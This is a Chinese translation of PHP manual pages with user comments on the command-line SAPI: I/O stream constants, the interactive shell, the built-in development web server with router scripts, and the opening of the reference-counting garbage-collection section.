Example #3 运行 PHP 命令行脚本的批处理文件（script.bat）

@echo OFF
"C:\php\php.exe" script.php %*

假设将上述程序名为 script.php，且 CLI 版的 php.exe 位于 C:\php\php.exe， 该批处理文件将会运行并传递所有追加选项： script.bat echothis 或者 script.bat -h。

参阅 Readline 扩展文档获取更多函数，以用于 PHP 中增强命令行应用程序。

在 Windows 上， PHP 可以配置为无需提供 C:\php\php.exe 或者 扩展名为 .php 的文件运行，如 PHP 在 Microsoft Windows 下的命令行方式中所述。

Note:

在 Windows 上，推荐在真实用户账户下运行 PHP。在网络服务下运行某些操作时将会失败， 因为"帐户名与安全标识间无任何映射完成"。

User Contributed Notes

email at alexander-bombis dot de 09-Apr-2021 06:47
For Windows:

After the years I also have the fact that I have to use double quotation marks after php -r on Windows shell.

But in the Powershell you can use single or double quotation!
synnus at gmail dot com 08-Aug-2018 12:46
in php.ini use auto_prepend_file="init.php"
first start script
gabriel at figdice dot org 01-Dec-2016 11:02
Regarding shebang:

In both Linux and Windows, when you execute a script in CLI with:

    php script.php

then PHP will ignore the very first line of your script if it starts with:

    #!

So, this line is not only absorbed by the kernel when the script file is executable, but it is also ignored by the PHP engine itself.

However, the engine will NOT ignore the first #! line of any included files withing your "outer" script.php.
Any "shebang" line in an included script, will result in simply outputting the line to STDOUT, just as any other text residing outside a <?php ...  ?> block.
david at frankieandshadow dot com 15-Jul-2016 10:27
A gotcha when using #!/usr/bin/php at the start of the file as noted above:

if you originally edited the file on Windows and then attempt to use it on Unix, it won't work because the #! line requires a Unix line ending. Bash gives you the following error message if it has DOS line endings:
"bash: /usr/local/bin/wpreplace.php: /usr/bin/php^M: bad interpreter: No such file or directory"

(In Emacs I used "CTRL-X ENTER f" then type "unix" and ENTER to convert)
php at richardneill dot org 01-Apr-2013 04:43
On Linux, the shebang (#!) line is parsed by the kernel into at most two parts.
For example:

1:  #!/usr/bin/php
2:  #!/usr/bin/env  php
3:  #!/usr/bin/php -n
4:  #!/usr/bin/php -ddisplay_errors=E_ALL
5:  #!/usr/bin/php -n -ddisplay_errors=E_ALL

1. is the standard way to start a script. (compare "#!/bin/bash".)

2. uses "env" to find where PHP is installed: it might be elsewhere in the $PATH, such as /usr/local/bin.

3. if you don't need to use env, you can pass ONE parameter here. For example, to ignore the system's PHP.ini, and go with the defaults, use "-n". (See "man php".)

4.  or, you can set exactly one configuration variable. I recommend this one, because display_errors actually takes effect if it is set here. Otherwise, the only place you can enable it is system-wide in php.ini. If you try to use ini_set() in your script itself, it's too late: if your script has a parse error, it will silently die.

5. This will not (as of 2013) work on Linux. It acts as if the whole string, "-n -ddisplay_errors=E_ALL" were a single argument. But in BSD, the shebang line can take more than 2 arguments, and so it may work as intended.

Summary: use (2) for maximum portability, and (4) for maximum debugging.
petruzanautico at yah00 dot com dot ar 17-Aug-2011 01:06
As you can't use -r and -f together, you can circumvent this by doing the following:
php -r '$foo = 678; include("your_script.php");'
spencer at aninternetpresence dot net 07-Aug-2011 05:03
If you are running the CLI on Windows and use the "-r" option, be sure to enclose your PHP code in double (not single) quotes. Otherwise, your code will not run.


输入输出流

CLI SAPI 为 I/O 流定义了一些常量，以使命令行变量编程更容易一些。

CLI 特定常量
常量 描述
STDIN

已经打开的 stdin 流。使得无需再用以下方式打开：

<?php
$stdin = fopen('php://stdin', 'r');
?>
如果想从 stdin 中读取一行内容，可以使用如下方式：
<?php
$line = trim(fgets(STDIN)); // 从 STDIN 读取一行
fscanf(STDIN, "%d\n", $number); // 从 STDIN 读取数字
?>
STDOUT

已经打开的 stdout 流。使得无需再用以下方式打开：

<?php
$stdout = fopen('php://stdout', 'w');
?>
STDERR

已经打开的 stderr 流。使得无需再用以下方式打开：

<?php
$stderr = fopen('php://stderr', 'w');
?>

综上所述，则无需打开 stderr 流，只需使用常量代替流资源：

php -r 'fwrite(STDERR, "stderr\n");'
无须显式关闭这些流，因为它们会在脚本结束时由 PHP 自动关闭。

Note:

如果从 stdin 中读取 PHP 脚本，则这些常量不可用。

User Contributed Notes

phil_php at zieaon dot com 10-Jun-2020 04:42
Under Linux CLI - STDIN, STDOUT and STDERR can be closed and reconnected to a different php stream such as a file, pipe or even a UDP socket_stream. (I use this technique to send the output/errors of my long running background scripts to a file so I can debug if something goes wrong.)

For example: (The below creates/appends file "/tmp/php_stdout.txt")
<?php
// This only works under CLI in Linux
// Note: Until we have closed it STDOUT will NOT be prefixed with a $

// Get the path to the current console for STDOUT so we can reconnect later!
    $strOldSTDOUT=(posix_ttyname(STDOUT));

    echo("This will go to the current console\r\n");
// Close the STDOUT resource
    fclose(STDOUT);

// Reopen $STDOUT as a file     Note: All further $STDOUT usage will be prefixed with a $
    $STDOUT=fopen("/tmp/php_stdout.txt","a");  /
    echo("This should append the file /tmp/php_stdout.txt\r\n");
// Close stdout again so we can reconnect the console. Note: We are still using
    fclose($STDOUT);

// Use the path to the console we got earlier
    $STDOUT=fopen($strOldSTDOUT,"r+");
    echo("And we are back on the console\r\n");

?>
phil_php at zieaon dot com 08-Aug-2018 07:38
The command line interface data in STDIN is not made available until return is pressed.
By adding "readline_callback_handler_install('', function(){});" before reading STDIN for the first time single key presses can be captured.

Note: This only seems to work under Linux CLI and will not work in Apache or Windows CLI.

This cam be used to obscure a password or used with 'stream_select' to make a non blocking keyboard monitor.

<?php

// Demo WITHOUT readline_callback_handler_install('', function(){});
    $resSTDIN=fopen("php://stdin","r");
    echo("Type 'x'. Then press return.");
    $strChar = stream_get_contents($resSTDIN, 1);

    echo("\nYou typed: ".$strChar."\n\n");
    fclose($resSTDIN);

// Demo WITH readline_callback_handler_install('', function(){});
// This line removes the wait for <CR> on STDIN
    readline_callback_handler_install('', function(){});

    $resSTDIN=fopen("php://stdin","r");
    echo("We have now run: readline_callback_handler_install('', function(){});\n");
    echo("Press the 'y' key");
    $strChar = stream_get_contents($resSTDIN, 1);
    echo("\nYou pressed: ".$strChar."\nBut did not have to press <cr>\n");
    fclose($resSTDIN);
    readline_callback_handler_remove ();
    echo("\nGoodbye\n")
?>

It also hides text from the CLI so can be used for things like. password obscurification.
eg

<?php
    readline_callback_handler_install('', function(){});
    echo("Enter password followed by return. (Do not use a real one!)\n");
    echo("Password: ");
    $strObscured='';
    while(true)
    {
    $strChar = stream_get_contents(STDIN, 1);
    if($strChar===chr(10))
    {
        break;
    }
    $strObscured.=$strChar;
    echo("*");
    }
    echo("\n");
    echo("You entered: ".$strObscured."\n");
?>
ayon at hyurl dot com 21-Feb-2017 12:23
I find a BUG with the constant STDIN, I don't know if it si the Enter/Return key that make this proprem, when I use trim(fgets(STDIN)), that doesn't trim anything, when I detect the length of fgets(STDIN), in windows, it is 2 characters longer than what I input, in Linux, it makes 1. I tried to trim(fgets(STDIN), ' \r\n'), but it still does not work.
So I have to substr the input manually, it seems like this way:
<?php
$STDIN = trim(substr(fgets(STDIN), 0, (PHP_OS == 'WINNT' ? 2 : 1)));
?>
then I get what I want really.
ecrist at secure-computing dot net 27-Jul-2011 08:15
The following code shows how to test for input on STDIN.  In this case, we were looking for CSV data, so we use fgetcsv to read STDIN, if it creates an array, we assume CVS input on STDIN, if no array was created, we assume there's no input from STDIN, and look, later, to an argument with a CSV file name.

Note, without the stream_set_blocking() call, fgetcsv() hangs on STDIN, awaiting input from the user, which isn't useful as we're looking for a piped file. If it isn't here already, it isn't going to be.

<?php
stream_set_blocking(STDIN, 0);
$csv_ar = fgetcsv(STDIN);
if (is_array($csv_ar)){
  print "CVS on STDIN\n";
} else {
  print "Look to ARGV for CSV file name.\n";
}
?>
Aurelien Marchand 04-Mar-2011 08:10
Please remember in multi-process applications (which are best suited under CLI), that I/O operations often will BLOCK signals from being processed.

For instance, if you have a parent waiting on fread(STDIN), it won't handle SIGCHLD, even if you defined a signal handler for it, until after the call to fread has returned.

Your solution in this case is to wait on stream_select() to find out whether reading will block. Waiting on stream_select(), critically, does NOT BLOCK signals from being processed.

Aurelien


交互式 shell

如果 PHP 使用 --with-readline 选项编译，则 CLI SAPI 使用 -a 选项时会提供交互式 shell。自 PHP 7.1.0 起，如果启用了 readline 扩展 ，交互式 shell 也可以在 Windows 上使用。

使用交互式 shell，你可以输入 PHP 代码并直接执行。

Example #1 使用交互式 shell 执行代码

$ php -a
Interactive shell

php > echo 5+8;
13
php > function addTwo($n)
php > {
php { return $n + 2;
php { }
php > var_dump(addtwo(2));
int(4)
php >

交互式 shell 还有对函数、常量、类名、变量、静态方法调用和类常量的 Tab 键补全功能。

Example #2 Tab 键补全

当可能有多个补全时，按两次 Tab 键将会得到补全列表：

php > strp[TAB][TAB]
strpbrk   strpos    strptime
php > strp

当仅可能有一个补全，按一次 Tab 键即可在同一行中补全剩余：

php > strpt[TAB]ime(

补全也适用于当前交互式 shell 会话期间定义的名称：

php > $fooThisIsAReallyLongVariableName = 42;
php > $foo[TAB]ThisIsAReallyLongVariableName

交互式 shell 会存储你的操作历史记录，可以通过上下键访问。历史记录存储于 ~/.php_history 文件。

CLI SAPI 提供了 cli.pager 和 cli.prompt 两个 php.ini 配置。cli.pager 配置允许外部程序（例如 less）充当分页器输出而不是直接在屏幕上显示。 cli.prompt 配置可以更改 php > 提示符。

在交互式 shell 中还可以使用缩写符号设置 php.ini 配置。

Example #3 在交互式 shell 中设置 php.ini 配置

cli.prompt 配置：

php > #cli.prompt=hello world :>
hello world :>

使用反引号可以在提示中执行 PHP 代码：

php > #cli.prompt=`echo date('H:i:s');` php >
15:49:35 php > echo 'hi';
hi
15:49:43 php > sleep(2);
15:49:45 php >

设置分页器为 less：

php > #cli.pager=less
php > phpinfo();
(output displayed in less)
php >

cli.prompt 配置支持一些转义字符：

cli.prompt 转义字符
字符 | 描述
\e | 用于添加提示符颜色。一个例子是 \e[032m\v \e[031m\b \e[34m\> \e[0m
\v | PHP 版本。
\b | 指明 PHP 所在的块。例如 /* 表示在多行注释中。外部作用域用 php 来表示。
\> | 指明提示字符。默认是 >，但当 shell 位于未结束的块或者字符串时会发生变化。可能的字符有 ' " { ( >

Note:

在该模式下，通过 auto_prepend_file 和 auto_append_file 解析加载的文件会有一些限制 —— 例如函数必须在调用前定义。

交互模式

如果 readline 扩展不可用，在 PHP 8.1.0 之前，使用 -a 选项调用 CLI SAPI 会提供交互模式。 在此模式中，一个完整的 PHP 脚本应该通过 STDIN 给出，并用 CRTL+d （POSIX） 或者 CTRL+z 终止然后 ENTER （Windows），脚本执行。这与不加 -a 选项调用 CLI SAPI 基本相同。

自 PHP 8.1.0 起，如果 readline 扩展不可用，使用 -a 调用 CLI SAPI 会失败。

User Contributed Notes

Gray 02-Jan-2020 11:53
When adding colours, don't forget that PHP uses the same 'readline' as Bash does, so it has the same need to wrap all colour codes in special marker characters.

If you simply add raw colour codes to the prompt, you will notice that long lines no longer get wrapped correctly -- Readline no longer knows how wide the prompt is.

To fix this, you need to start each colour code with an '0x01' byte (aka Ctrl-A aka SOH) and end it with the '0x02' byte (aka Ctrl-B aka STX). There are no escapes for these -- you have to literally put the control characters in your php-cli.ini.

For example:

<?php

// cli.prompt = <SOH>\e[1m<STX> PHP! \> <SOH>\e[m<STX>

echo "cli.prompt = \x01\\e[1m\x02 PHP! \x01\\e[m\x02\n";
?>
John 13-Mar-2018 12:54
If you delete your "~/.php_history", you MUST re-create the file manually!

Because after I deleted my history file, "php -a" (interactive mode) never saved any history anymore.

It only started working after I ran "touch ~/.php_history" to create an empty file. From then on, PHP is saving history again!

I thought this was a bit unusual. Normally, applications recreate their history files themselves. But just be aware of the fact that PHP works this way instead, guys and girls! :-)
#linuxmint-es 06-Sep-2017 02:50
For use interactive mode enabled on GNU/Linux on distros Debian/Ubuntu/LinuxMint you must install "php*-cli" and "php*-readline" packages from official repository.
Example:
 >$sudo aptitude install php5-cli php5-readline

After that you can use interactive mode.
Example:
~ $ php -a
Interactive mode enabled

php >echo "hola mundo!\n";
hola mundo!
php >

I hope somebody help it!
Ryan P 21-Mar-2012 10:03
Interactive Shell and Interactive Mode are not the same thing, despite the similar names and functionality.

If you type 'php -a' and get a response of 'Interactive Shell' followed by a 'php>' prompt, you have interactive shell available (PHP was compiled with readline support). If instead you get a response of 'Interactive mode enabled', you DO NOT have interactive shell available and this article does not apply to you.

You can also check 'php -m' and see if readline is listed in the output - if not, you don't have interactive shell.

Interactive mode is essentially like running php with stdin as the file input. You just type code, and when you're done (Ctrl-D), php executes whatever you typed as if it were a normal PHP (PHTML) file - hence you start in interactive mode with '<?php' in order to execute code.

Interactive shell evaluates every expression as you complete it (with ; or }), reports errors without terminating execution, and supports standard shell functionality via readline (history, tab completion, etc). It's an enhanced version of interactive mode that is ONLY available if you have the required libraries, and is an actual PHP shell that interprets everything you type as PHP code - using '<?php' will cause a parse error.

Finally, if you're running on Windows, you're probably screwed. From what I'm seeing in other comments here, you don't have readline, and without readline there is no interactive shell.
spencer at aninternetpresence dot net 09-Sep-2011 10:45
In Windows, press Enter after your ending PHP tag and then hit Ctrl-Z to denote the end-of-file:

C:\>php -a
Interactive mode enabled

<?php
echo "Hello, world!";
?>
^Z
Hello, world!

You can use the up and down arrows in interactive mode to recall previous code you ran.
Anonymous 20-Jun-2010 12:56
Just a few more notes to add...

1) Hitting return does literally mean "execute this command".  Semicolon to note end of line is still required.  Meaning, doing the following will produce a parse error:

php > print "test"
php > print "asdf";

Whereas doing the following is just fine:

php > print "test"
php > ."asdf";

2) Fatal errors may eject you from the shell:

name@local:~$ php -a
php > asdf();

Fatal Error: call to undefined function...
name@local:~$

3) User defined functions are not saved in history from shell session to shell session.

4) Should be obvious, but to quit the shell, just type "quit" at the php prompt.

5) In a sense, the shell interaction can be thought of as linearly following a regular php file, except it's live and dynamic.  If you define a function that you've already defined earlier in your current shell, you will receive a fatal "function already defined" error only upon entering that closing bracket.  And, although "including" a toolset of custom functions or a couple of script addon php files is rather handy, should you edit those files and wish to "reinclude" it again, you'll cause a fatal "function x already defined" error.


内置Web Server

CLI SAPI 提供了一个内置的Web服务器。

这个内置的Web服务器主要用于本地开发使用，不可用于线上产品环境。

URI请求会被发送到PHP所在的的工作目录（Working Directory）进行处理，除非你使用了-t参数来自定义不同的目录。

如果请求未指定执行哪个PHP文件，则默认执行目录内的index.php 或者 index.html。如果这两个文件都不存在，服务器会返回404错误。

当你在命令行启动这个Web Server时，如果指定了一个PHP文件，则这个文件会作为一个"路由"脚本，意味着每次请求都会先执行这个脚本。如果这个脚本返回 false ，那么直接返回请求的文件（例如请求静态文件不作任何处理）。否则会把输出返回到浏览器。

Example #1 启动Web服务器

$ cd ~/public_html
$ php -S localhost:8000

终端窗口会显示:

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit

接着访问http://localhost:8000/和http://localhost:8000/myscript.html，窗口会显示：

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit.
[Thu Jul 21 10:48:48 2011] ::1:39144 GET /favicon.ico - Request read
[Thu Jul 21 10:48:50 2011] ::1:39146 GET / - Request read
[Thu Jul 21 10:48:50 2011] ::1:39147 GET /favicon.ico - Request read
[Thu Jul 21 10:48:52 2011] ::1:39148 GET /myscript.html - Request read
[Thu Jul 21 10:48:52 2011] ::1:39149 GET /favicon.ico - Request read

Example #2 启动时指定根目录

$ cd ~/public_html
$ php -S localhost:8000 -t foo/

终端窗口显示：

PHP 5.4.0 Development Server started at Thu Jul 21 10:50:26 2011
Listening on localhost:8000
Document root is /home/me/public_html/foo
Press Ctrl-C to quit

Example #3 使用路由（Router）脚本

请求图片直接显示图片，请求HTML则显示"Welcome to PHP"

<?php
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/', $_SERVER["REQUEST_URI"]))
return false; // 直接返回请求的文件
else {
echo "<p>Welcome to PHP</p>";
}
?>
$ php -S localhost:8000 router.php

执行之后终端显示：

PHP 5.4.0 Development Server started at Thu Jul 21 10:53:19 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit.
[Thu Jul 21 10:53:45 2011] ::1:55801 GET /mylogo.jpg - Request read
[Thu Jul 21 10:53:52 2011] ::1:55803 GET /abc.html - Request read
[Thu Jul 21 10:53:52 2011] ::1:55804 GET /favicon.ico - Request read

Example #4 Checking for CLI Web Server Use

To reuse a framework router script during development with the CLI web server and later also with a production web server:

<?php
// router.php
if (php_sapi_name() == 'cli-server') {
/* route static assets and return false */
}
/* go on with normal index.php operations */
?>
$ php -S localhost:8000 router.php

Example #5 Handling Unsupported File Types

If you need to serve a static resource whose MIME type is not handled by the CLI web server, use:

<?php
// router.php
$path = pathinfo($_SERVER["SCRIPT_FILENAME"]);
if ($path["extension"] == "el") {
header("Content-Type: text/x-script.elisp");
readfile($_SERVER["SCRIPT_FILENAME"]);
}
else {
return FALSE;
}
?>
$ php -S localhost:8000 router.php

Example #6 Accessing the CLI Web Server From Remote Machines

You can make the web server accessible on port 8000 to any interface with:

$ php -S 0.0.0.0:8000
Warning

The built-in Web Server should not be used on a public network.

User Contributed Notes

devoldemar 16-Dec-2023 08:06
Built-in web server uses SAPI logging subsystem. Therefore all messages are written to standard error, and not to standard output stream.
If you want to save server logs into a file, the following command will work:
php -S 0.0.0.0:80 2>&1 | tee out.log
Anonymous 31-Mar-2021 06:33
If you have trouble with a project using both dynamic routes containing dots (giving unexpected 404 errors) and static file hosting paste this in your index.php

// Support cli server for local development
if (php_sapi_name() === 'cli-server') {
    $fileName = __DIR__.parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
    if (file_exists($fileName) && !is_dir($fileName)) return false;
}

Then run the internal server directly on the file:

php -S 127.0.0.1 index.php
deep at deepshah dot me 10-Jun-2020 05:37
Listen on all addresses of IPv4:
php -S 0.0.0.0:80

Listen on all addresses of IPv6:
php -S [::0]:80
sony at sony-ak dot com 08-Jan-2020 03:49
To send environment variable as long as with PHP built-in web server, type like this.

~$ MYENV=dev php -d variables_order=EGPCS -S 0.0.0.0:8000

On PHP script we can check with this code.

<?php
  echo getenv('MYENV'); // print dev
Lukas 01-Jul-2019 03:45
For serving static content like .css or .js and otherwise using a router (for me it was index.php)  this worked out of the box for me:

   php -S localhost:8000

Due to my router file was index.php. But

   php -S localhost:8000 index.php

did not work, because my static files are not served via my router.
dachund at gmail dot com 22-Dec-2017 06:17
I fiddled around with the internal webserver and had issues regarding handling static files, that do not contain a dot and a file extension.

The webserver responded with 200 without any content for files with URIs like "/testfile".

I am not certain if this is a bug, but I created a router.php that now does not use the "return false;" operation in order to pass thru the static file by the internal webserver.

Instead I use fpassthru() to do that.

In addition to that, my router.php can be configured to...
- ... have certain index files, when requesting a directory
- ... configure regex routes, so that, if the REQUEST_URI matches the regex, a certain file or directory is requested instead. (something you would do with nginx config or .htaccess ModRewrite)

Maybe someone finds this helpful.

================================

<?php

$indexFiles = ['index.html', 'index.php'];
$routes = [
  '^/api(/.*)?$' => '/index.php'
];

$requestedAbsoluteFile = dirname(__FILE__) . $_SERVER['REQUEST_URI'];

// check if the the request matches one of the defined routes
foreach ($routes as $regex => $fn)
{
  if (preg_match('%'.$regex.'%', $_SERVER['REQUEST_URI']))
  {
    $requestedAbsoluteFile = dirname(__FILE__) . $fn;
    break;
  }
}

// if request is a directory call check if index files exist
if (is_dir($requestedAbsoluteFile))
{
  foreach ($indexFiles as $filename)
  {
    $fn = $requestedAbsoluteFile.'/'.$filename;
    if (is_file($fn))
    {
      $requestedAbsoluteFile = $fn;
      break;
    }
  }
}

// if requested file does not exist or is directory => 404
if (!is_file($requestedAbsoluteFile))
{
  header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found');
  printf('"%s" does not exist', $_SERVER['REQUEST_URI']);
  return true;
}

// if requested file is'nt a php file
if (!preg_match('/\.php$/', $requestedAbsoluteFile)) {
  header('Content-Type: '.mime_content_type($requestedAbsoluteFile));
  $fh = fopen($requestedAbsoluteFile, 'r');
  fpassthru($fh);
  fclose($fh);
  return true;
}

// if requested file is php, include it
include_once $requestedAbsoluteFile;
dwingardjr at gmail dot com 09-Aug-2017 11:53
Just a note to people who also use windows 8.1, or anyone who has had this problem when running the using the PHP server CLI.

`PHP -S localhost:8000 -t /public` <-- Not going to work.

`PHP -S localhost:8000 -t public` <-- Works!

And there is something else up in the notes saying something about you can't serve a project folder and a router file. Well, actually you can! At least for me.

`PHP -S localhost:8000 router.php -t public` <-- Perhaps someone tries this and it doesn't work.

`PHP -S localhost:8000 -t public router.php` <-- Works!
gyunaev at gmail dot com 29-Jun-2017 07:16
You can also print messages to the server's STDOUT via error_log().

Also the documentation doesn't make it clear that when you use router script if a PHP file is requested and you return false, the PHP file will be served (i.e. you do not need to load and eval it manually).
eyecatchup at gmail dot com 26-May-2017 07:26
Note: The built-in web server has a file size limit. For files larger than 5 GB, it will always serve a "File not found" error page.
oan at vizrt dot com 11-Jan-2017 01:43
I painfully experienced behaviour that I can't seem to find documented here so I wanted to save everyone from repeating my mistake by giving the following heads up:

When starting php -S on a mac (in my case macOS Sierra) to host a local server, I had trouble with connecting from legacy Java.

As it turned out, if you started the php server with
"php -S localhost:80"
the server will be started with ipv6 support only!

To access it via ipv4, you need to change the start up command like so:
 "php -S 127.0.0.1:80"
which starts server in ipv4 mode only.
ohcc at 163 dot com 22-Dec-2016 07:09
$_SERVER['SERVER_ADDR'] is not defined when using php as the built-in commandline web server, so you can not use $_SERVER['SERVER_ADDR'] to detect the Server's IP address.

P.S.: This is tested on Windows with PHP 7.1 on 2016-12-22.

Below is the printed $_SERVER variable.

Array
(
    [DOCUMENT_ROOT] => E:\Programs\PHPServer\www\srv
    [REMOTE_ADDR] => 118.117.61.32
    [REMOTE_PORT] => 10865
    [SERVER_SOFTWARE] => PHP 7.1.0 Development Server
    [SERVER_PROTOCOL] => HTTP/1.1
    [SERVER_NAME] => 0.0.0.0
    [SERVER_PORT] => 8080
    [REQUEST_URI] => /
    [REQUEST_METHOD] => GET
    [SCRIPT_NAME] => /index.php
    [SCRIPT_FILENAME] => E:\Programs\PHPServer\www\srv\index.php
    [PHP_SELF] => /index.php
    [HTTP_HOST] => www.wuxiancheng.cn:8080
    [HTTP_CONNECTION] => keep-alive
    [HTTP_CACHE_CONTROL] => max-age=0
    [HTTP_UPGRADE_INSECURE_REQUESTS] => 1
    [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    [HTTP_DNT] => 1
    [HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch
    [HTTP_ACCEPT_LANGUAGE] => zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
    [HTTP_COOKIE] => qbbs_2132_saltkey=fZ7509n5; qbbs_2132_lastvisit=1482156014; Hm_lvt_f812a4362ef73c80c4d13485d1ab3a49=1482159614; _ga=GA1.2.1594404236.1482159615; su=727vL6EEPLqjcyfJcad-za9eVYOh1i7e; Hm_lvt_6a65b0f2004e441e86ecea9c3562d997=1482232509,1482241896,1482242293,1482296586
    [REQUEST_TIME_FLOAT] => 1482390410.65625
    [REQUEST_TIME] => 1482390410
)
matthes at leuffen dot de 18-Oct-2016 01:21
To output debugging information on the command line you can write output to php://stdout:

<?php
$path = $_SERVER["SCRIPT_FILENAME"];

file_put_contents("php://stdout", "\nRequested: $path");
echo "<p>Hello World</p>";
?>
Mark Simon 07-Aug-2016 09:55
It's not mentioned directly, and may not be obvious, but you can also use this to create a virtual host. This, of course, requires the help of your hosts file.

Here are the steps:

1    /etc/hosts
    127.0.0.1    www.example.com

2    cd [root folder]
    php -S www.example.com:8000

3    Browser:
    http://www.example.com:8000/index.php

Combined with a simple SQLite database, you have a very handy testing environment.
tamas at bartatamas dot hu 13-Oct-2014 02:19
If your URI contains a dot, you'll lose the $_SERVER['PATH_INFO'] variable, when using the built-in webserver.
I wanted to write an API, and use .json ending in the URI-s, but then the framework's routing mechanism broke, and it took a lot of time to discover that the reason behind it was its router relying on $_SERVER['PATH_INFO'].

References:
https://bugs.php.net/bug.php?id=61286
jonathan at reinink dot ca 22-Jan-2014 03:26
In order to set project specific configuration options, simply add a php.ini file to your project, and then run the built-in server with this flag:

php -S localhost:8000 -c php.ini

This is especially helpful for settings that cannot be set at runtime (ini_set()).
Ivan Ferrer 10-Jul-2013 08:03
On Windows you may find useful to have a phpserver.bat file in shell:sendto with the folowing:
explorer http://localhost:8888
rem check if arg is file or dir
if exist "%~1\" (
  php -S localhost:8888 -t "%~1"
) else (
  php -S localhost:8888 -t "%~dp1"
)

then for fast web testing you only have to SendTo a file or folder to this bat and it will open your explorer and run the server.


INI 配置

CLI SAPI 配置选项
名字 | 默认 | 可修改范围 | 更新日志
cli_server.color | "0" | PHP_INI_ALL

这是配置指令的简短说明。

cli_server.color boolean

控制内置Web Server的终端输出有无颜色。

User Contributed Notes

There are no user contributed notes for this page.


垃圾回收

Table of Contents

  • 引用计数基础
  • 回收循环
  • 性能方面考虑的因素

本节介绍了新垃圾回收（也称为 GC）机制作为 PHP 5.3 一部分的优点。

User Contributed Notes

There are no user contributed notes for this page.


引用计数基础

PHP 变量存储在称为"zval"的容器中。zval 容器除了变量的类型和值之外，还包含两个额外的信息位。第一个是"is_ref"，是布尔值，表示变量是否是"引用集合"的一部分。通过这个位，PHP 引擎知道如何区分普通变量和引用。由于 PHP 允许用户自定义引用，通过 & 运算符创建引用，zval 容器还有内部引用计数机制来优化内存使用。第二个是"refcount"，表示有多少个变量名（也称为符号）指向这个 zval 容器。所有符号都存储在一个符号表中，每个作用域都有一个符号表。主脚本（即通过浏览器请求的脚本）有一个作用域，每个函数或方法也有一个作用域。

当使用常量值创建新变量时，也会创建 zval 容器，例如

Example #1 创建新 zval 容器

<?php
$a = "new string";
?>

在这种情况下，新的符号名称 a 会在当前作用域中创建，并且会创建新的变量容器，其类型为 string，值为 new string。由于没有创建用户定义的引用，"is_ref"位默认设置为 false。"refcount"设置为 1，因为只有一个符号使用了这个变量容器。请注意，具有"refcount"为 1 的引用（即"is_ref"为 true）会视为非引用（即"is_ref"为 false）。如果安装了 » Xdebug，可以通过调用 xdebug_debug_zval() 来显示此信息。

Example #2 显示 zval 信息

<?php
$a = "new string";
xdebug_debug_zval('a');
?>

以上示例会输出：

a: (refcount=1, is_ref=0)='new string'

将这个变量赋值给另一变量名将增加 refcount 的计数。

Example #3 增加 zval 的 refcount

<?php
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
?>

以上示例会输出：

a: (refcount=2, is_ref=0)='new string'

这里的 refcount 是 2，因为同一个变量容器链接到 a 和 b。PHP 很聪明，当没有必要的时候，不会复制实际的变量容器。当"refcount"到 0 时，就会销毁变量容器。当链接到变量容器的任何符号离开作用域（例如函数结束时）或取消符号赋值（例如通过调用 unset()）时，"refcount"会减少 1。以下是示例：

Example #4 减少 zval refcount

<?php
$a = "new string";
$c = $b = $a;
xdebug_debug_zval( 'a' );
$b = 42;
xdebug_debug_zval( 'a' );
unset( $c );
xdebug_debug_zval( 'a' );
?>

以上示例会输出：

a: (refcount=3, is_ref=0)='new string'
a: (refcount=2, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'

如果现在调用 unset($a);，变量容器，包含类型和值，会从内存中移除。

复合类型

对于 array 和 object 这样的复合类型，情况会稍微复杂一些。与 scalar 值不同，array 和 object 的属性存储在自己的符号表中。这意味着以下示例将创建三个 zval 容器：

Example #5 创建 array zval

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
xdebug_debug_zval( 'a' );
?>

以上示例的输出类似于：

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=1, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42
)

图示：

这三个 zval 变量容器是 a、meaning 和 number。增加和减少"refcounts"的规则也适用于此。下面，再向数组添加一个元素，并将其值设置为已存在元素的内容：

Example #6 添加已存在的元素到数组

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
xdebug_debug_zval( 'a' );
?>

以上示例的输出类似于：

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=2, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42,
   'life' => (refcount=2, is_ref=0)='life'
)

图示：

从上面的 Xdebug 输出中，可以看到新旧的数组元素现在都指向"refcount"为 2 的 zval 容器。尽管 Xdebug 的输出显示了两个值为 'life' 的 zval 容器，但它们实际上是同一个。xdebug_debug_zval() 函数没有显示这一点，但可以通过显示内存指针来看到它。

从数组中删除元素就像从作用域中删除符号一样。删除后，数组元素指向的容器的"refcount"会减少。同样，当"refcount"到 0 时，变量容器就会从内存中删除。再举个例子来说明这一点：

Example #7 从数组中删除元素

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
unset( $a['meaning'], $a['number'] );
xdebug_debug_zval( 'a' );
?>

以上示例的输出类似于：

a: (refcount=1, is_ref=0)=array (
   'life' => (refcount=1, is_ref=0)='life'
)

现在，如果将数组本身作为数组的一个元素添加进去，情况就会变得有趣起来。在下一个例子中这样做，并且偷偷加入引用运算符，否则 PHP 会创建副本：

Example #8 将数组本身作为其自身的一个元素添加进去

<?php
$a = array( 'one' );
$a[] =& $a;
xdebug_debug_zval( 'a' );
?>

以上示例的输出类似于：

a: (refcount=2, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=2, is_ref=1)=...
)

图示：

可以看到数组变量（a）以及第二个元素（1）现在都指向"refcount"为 2 的变量容器。上面显示的"..."表示存在递归，这在这种情况下意味着"..."指向原数组。

